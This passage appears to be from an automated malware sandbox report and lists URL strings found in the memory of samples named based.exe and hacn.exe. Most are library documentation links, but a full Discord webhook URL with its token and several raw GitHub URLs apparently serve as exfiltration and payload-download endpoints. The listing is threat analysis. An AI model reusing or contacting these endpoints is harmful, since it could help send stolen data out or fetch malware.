Source: based.exe, 0000000C.00000002.1729060934.0000021B5CBD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canary.discord.com/api/webhooks/1334027615660413021/mDHVQmNFf8BFu7yXIRFDHvtVangmuzWFjeWdcr8C
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://codecov.io/gh/python-hyper/h2
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://codecov.io/gh/python-hyper/h2/branch/master/graph/badge.svg
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/changelog/
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/security/
Source: hacn.exe, 0000000D.00000002.1612263678.00000243EEDF4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/other-hp
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: based.exe, 0000000C.00000003.1469057997.0000021B5C8B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: hacn.exe, 0000000D.00000002.1605619581.00000243ED79C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: hacn.exe, 0000000D.00000002.1605619581.00000243ED79C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: hacn.exe, 0000000D.00000002.1605619581.00000243ED79C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: hacn.exe, 0000000D.00000002.1605619581.00000243ED79C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: hacn.exe, 0000000D.00000002.1605619581.00000243ED79C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: hacn.exe, 0000000D.00000003.1344099450.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589953544.00000243EBEDA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591703351.00000243EBEE2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578274871.00000243EBEB3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1593141648.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?tab=wo
Source: based.exe, 0000000C.00000002.1728816792.0000021B5C9D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: hacn.exe, 0000000D.00000003.1595682461.00000243EE3E1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590958342.00000243EE3AF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1592517331.00000243EE3B3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591392040.00000243EE3B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: hacn.exe, 0000000D.00000002.1612263678.00000243EEE50000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1605942808.00000243EDBB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ShevaSvinobaron/saygex/raw/refs/heads/main/static/img/posts/brg/tiktok.mp4
Source: hacn.exe, 0000000D.00000003.1587262963.00000243EDFC9000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578423259.00000243EDFBA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1586736139.00000243EDFDE000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587927350.00000243EDFDF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598180533.00000243EDFE1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578573993.00000243EDFCD000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1602992042.00000243EDFCA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1606490323.00000243EDFCA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578624587.00000243EDFC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ShevaSvinobaron/saygex/raw/refs/heads/main/static/img/posts/brg/tiktok.mp4i
Source: svchost.exe, 00000007.00000003.1286563434.000001DC02E9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289594491.000001DC02E8E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289680586.000001DC02EE4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1294165821.000001DC02EE7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289776768.000001DC02EE6000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1325711902.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1722550844.0000021B59FD3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1323410455.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1324315023.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1344099450.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589953544.00000243EBEDA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591703351.00000243EBEE2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578274871.00000243EBEB3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1593141648.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: hacn.exe, hacn.exe, 0000000D.00000002.1614664583.00007FFB01EB1000.00000002.00000001.01000000.00000039.sdmp, hacn.exe, 0000000D.00000002.1626731911.00007FFB1C2E9000.00000002.00000001.01000000.00000036.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/orgs/python-hyper/people
Source: hacn.exe, 0000000D.00000002.1612263678.00000243EEDF4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/psf/requests/pull/6710
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-hyper/h2
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-hyper/h2/actions
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-hyper/h2/workflows/CI/badge.svg
Source: svchost.exe, 00000007.00000003.1286563434.000001DC02E9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1294251350.000001DC04C3C000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1723398374.0000021B5BD1C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1605619581.00000243ED79C000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: svchost.exe, 00000007.00000003.1286563434.000001DC02E9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289594491.000001DC02E8E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289680586.000001DC02EE4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1294165821.000001DC02EE7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289776768.000001DC02EE6000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1325711902.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1722550844.0000021B59FD3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1323410455.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1324315023.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1344099450.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589953544.00000243EBEDA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591703351.00000243EBEE2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578274871.00000243EBEB3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1593141648.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: svchost.exe, 00000007.00000003.1286563434.000001DC02E9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289594491.000001DC02E8E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289680586.000001DC02EE4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1294165821.000001DC02EE7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1289776768.000001DC02EE6000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1325711902.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1722550844.0000021B59FD3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1323410455.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1324315023.0000021B5A033000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1344099450.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589953544.00000243EBEDA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591703351.00000243EBEE2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578274871.00000243EBEB3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1593141648.00000243EBEE4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1343992142.00000243EBEF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: based.exe, 0000000C.00000002.1728816792.0000021B5C9D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: based.exe, 0000000C.00000003.1415358068.0000021B5C6AC000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1724662879.0000021B5C3D0000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE2A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: based.exe, 0000000C.00000003.1378870830.0000021B5C4A8000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1728940382.0000021B5CAD0000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1378713040.0000021B5C48C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1608835958.00000243EE4F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: hacn.exe, 0000000D.00000002.1608835958.00000243EE4F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920Q
Source: based.exe, 0000000C.00000002.1729060934.0000021B5CBD0000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1609204877.00000243EE730000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gitter.im/python-hyper/community
Source: hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1592517331.00000243EE3B3000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591056311.00000243EE239000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591392040.00000243EE3B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: based.exe, 0000000C.00000003.1378870830.0000021B5C4A8000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1725510737.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1723950852.0000021B5C08B000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1585988934.0000021B5C6C5000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1378713040.0000021B5C48C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1603110697.00000243EE23D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591056311.00000243EE239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: hacn.exe, 0000000D.00000003.1589801260.00000243EBE7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h2.readthedocs.io
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://h2.readthedocs.io/en/latest/
Source: based.exe, 0000000C.00000002.1725310559.0000021B5C5D0000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1608424555.00000243EE393000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1593912953.00000243EE38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: hacn.exe, 0000000D.00000003.1591392040.00000243EE3B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1610809438.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578573993.00000243EDFCD000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584686924.00000243EEA3E000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591392040.00000243EE3B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: hacn.exe, 0000000D.00000003.1598503548.00000243EE1F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/post
Source: based.exe, 0000000C.00000003.1702661556.0000021B5C7B1000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1700549330.0000021B5C7CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://images-ext-1.discordapp.net/external/hJxHUAhG9EoyLIsZvafARo7vTEc1eWvc40D7nCndjME/https/raw.g
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/badge/chat-join_now-brightgreen.svg
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: hacn.exe, 0000000D.00000003.1578624587.00000243EDFC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CE0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: hacn.exe, 0000000D.00000002.1609715884.00000243EE960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=wm
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://news.google.com/?tab=wn
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&se
Source: based.exe, 0000000C.00000002.1728816792.0000021B5C9D0000.00000004.00001000.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1700549330.0000021B5C7CC000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1701712861.0000021B5C7C7000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1719755412.0000021B5C7C3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1726830465.0000021B5C7C3000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://o64374.ingest.sentry.io;
Source: based.exe, 0000000C.00000002.1728940382.0000021B5CAD0000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1608835958.00000243EE4F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/?hl=en&tab=w8
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/cryptography/
Source: svchost.exe, 00000007.00000002.1296866084.00007FFB0C35F000.00000040.00000001.01000000.00000005.sdmp, based.exe, 0000000C.00000002.1735471064.00007FFB0C2CF000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.github.com/python-hyper/documentation/master/source/logo/hyper-black-bg-white.png
Source: hacn.exe, 0000000D.00000002.1612263678.00000243EED90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/beznogym/beznogy/refs/heads/main/tiktok.txt
Source: hacn.exe, 0000000D.00000002.1607031059.00000243EE0F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/beznogym/beznogy/refs/heads/main/tiktok.txt0
Source: hacn.exe, 0000000D.00000003.1587262963.00000243EDFC9000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578423259.00000243EDFBA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1586736139.00000243EDFDE000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587927350.00000243EDFDF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598180533.00000243EDFE1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578573993.00000243EDFCD000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1602992042.00000243EDFCA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1606490323.00000243EDFCA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578624587.00000243EDFC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/beznogym/beznogy/refs/heads/main/tiktok.txtz
Source: based.exe, 0000000C.00000003.1702945521.0000021B5C884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/moshiax/files/f6c9d029c871662ced7225653e6035b2435679ae/etc/3a776f5
Source: hacn.exe, 00000009.00000003.1320524427.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://readthedocs.org/projects/h2/badge/?version=latest
Source: hacn.exe, 0000000D.00000003.1598503548.00000243EE1F1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1612263678.00000243EED90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://requests.readthedocs.io
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: based.exe, 0000000C.00000003.1412550337.0000021B5C8A0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1429815916.0000021B5C50F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: based.exe, 0000000C.00000003.1415358068.0000021B5C761000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1427134377.0000021B5C761000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1450665337.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1415358068.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1377386844.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1468182488.0000021B5C715000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1377386844.0000021B5C75A000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1385429274.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: based.exe, 0000000C.00000003.1377386844.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1385429274.0000021B5C822000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: based.exe, 0000000C.00000003.1390740973.0000021B5C8AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: based.exe, 0000000C.00000002.1723950852.0000021B5BFD0000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578274871.00000243EBEB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
